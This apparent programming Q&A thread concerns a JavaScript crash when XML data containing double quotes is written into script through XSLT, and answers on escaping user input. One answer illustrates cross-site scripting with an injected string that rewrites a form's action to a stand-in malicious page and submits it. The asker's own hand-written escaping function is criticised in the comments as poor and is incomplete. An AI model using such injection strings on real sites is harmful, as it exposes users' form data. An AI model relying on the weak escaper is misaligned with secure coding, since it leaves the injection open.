views:

83

answers:

2

Hi all,

I am not sure I am going to be able to explain this one right as it may be difficult for me to explain, but I am going to try.

I have a web form which it publish the data to a XML file, then it shows the data in another web page.

Everything works fine, but when the user types a double quote character, at the time the web page try to display the data it crashes due to the double quote symbol, which it make sense as it may be considered as an unfinished string by javascript.

There is also something it is worth mention, and that is that the problem only occurs on a section of the form, where consist of a table which its populated with an array created based of a collection of elements from the XML and then insert the text from the array to the table cells using the innerHTML.

eg.

XML

<node1>
  <node2> test "1</node2>
</node1>

<script type="text/javascript">
  alert("<xsl:value-of select="node1/node2">");
<script>

This will not work, maybe if I get any workaround to this, I can fix the rest.

Sorry guys if I have not explain myself well enough, I don't know how to expose this problem any better. I would be happy to answer any question if you need it.

Please, note that if any of you have any answer, it has to be javascript, no jquery.

Thanks.

+2  A: 

Always escape user input. Your bug is a benign example of the problems that can occur, but it means you're also probably vulnerable to a code injection attack, such as cross-site scripting.

Escaping

Here's what Wikipedia has to say about escaping. Here's an overly-simplified example of what it means. Assume that you have the following JavaScript and that I haven't made any silly errors in it (since I just made it up):

function unsafeAlert() {
    alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value);
}

What happens if the user types in something like '); document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"? Suddenly, your alert causes the form (which might contain sensitive data) to be submitted to an attacker's page. This is obviously a problem. You should have some library code somewhere that escapes the value before you attempt to alert it. This will do things like putting slashes in front of quotes, etc. Also, you probably shouldn't try to write such code yourself, since escaping logic is always at least 10 times harder than you think it will be. You should definitely be getting logic like this from a library somewhere.

Hank Gay
@Hank Gay, thanks for your answer, but I do have to accept double quotes to be typed.
Cesar Lopez
+1 Improper separation of code and data is the eternal problem of all code generation. The Internet would not contain a single XSS-infected site if people would not *constantly and consistently* forget to validate and escape user input (data) before they use it (code).
Tomalak
@Cesar: Hank did not say that you should not accept double quotes. He said that you should escape them (and along with them the other characters that have special meaning in a JavaScript string: the backslashes).
Tomalak
@Tomalak: Thanks for the explanation, could anyone explain to me what escape means?
Cesar Lopez
A: 

Right guys,

I have been playing around, and found a way to fix it.

using the following function.

XML
<node1>
 <node2>test "1</node2>
</node1>

<script type="text/javascript">
function convertString(value){ 
 for(var z=0; z <= value.length -1; z++)
  {
    //if current character is a backslash
    if(value.substring(z, z + 1)=="\\" && (value.substring(z, z + 4)!="\\r\\n" && value.substring(z, z + 2)!="\\n"))
        {
         value = value.substring(0, z) + "\\\\" + value.substring(z + 1, value.length);
  z++;
 }   
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 4)=="\\r\\n")
        {
         z = z+4;
        }      
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 2)=="\\n")
        {
         z = z+2;
        }
    }
//replace " with \"
//loop through each character
     for(var x = 0; x <= value.length -1; x++){
       //if current character is a quote
  if(value.substring(x, x + 1)=="\""){
     //concatenate: value up to the quote + \" + value AFTER the quote
  value = value.substring(0, x) + "\\\"" + value.substring(x + 1, value.length);
  //account for extra character
   x++;
   }
     }
    //return the modified string
 return(value);
}
<script>


alert("<xsl:value-of select="convertString(string(node1/node2))"/>");

Thanks to everyone who answered in this question.

Cesar Lopez
This code is really not good and you should not use it. Read more about JavaScript, there are easier ways to replace characters in strings than looping through them character by character the way you do it. Have a look at the `String` object an what it can do for you.
Tomalak
@Tomalak: Again, thanks for the advance, I am reading it now, as I did not write this function but it was on general functions use for the web, it is also difficult to understand for me, I am going to check if I can improve it.+1
Cesar Lopez
@Cesar: Should not be too hard. As far as I can see, this can be collapsed into one very short line of JavaScript code. Never copy and paste code (especially if you don't know *exactly* what it does). Write it yourself (or take time to *completely understand* foreign code). Takes longer, but you'll learn something.
Tomalak
@Tomalak:Hi I do really apreciate your answers and advices, I am trying to use str.repacle(/\"/gi,"\\\""), but it does not like, could you let me know what am I doing wrong? Once again, thanks.
Cesar Lopez
`replace()` is definitely a good start. Your replace operation looks okay on first glance, though it could be made a little bit simpler: `str.replace(/"/g, '\\"')` - nevertheless, this is the same thing, and both work for me (`'bla"bla'` becomes `'bla\"bla'`). Maybe it's best you describe your JavaScript string replacement problem in a new question. In any case, if the data comes from the XML, and you produce JavaScript through XSLT like your question indicates, then this kind of string escaping has to happen *beforehand* - you can't do it in the very JavaScript you are building.
Tomalak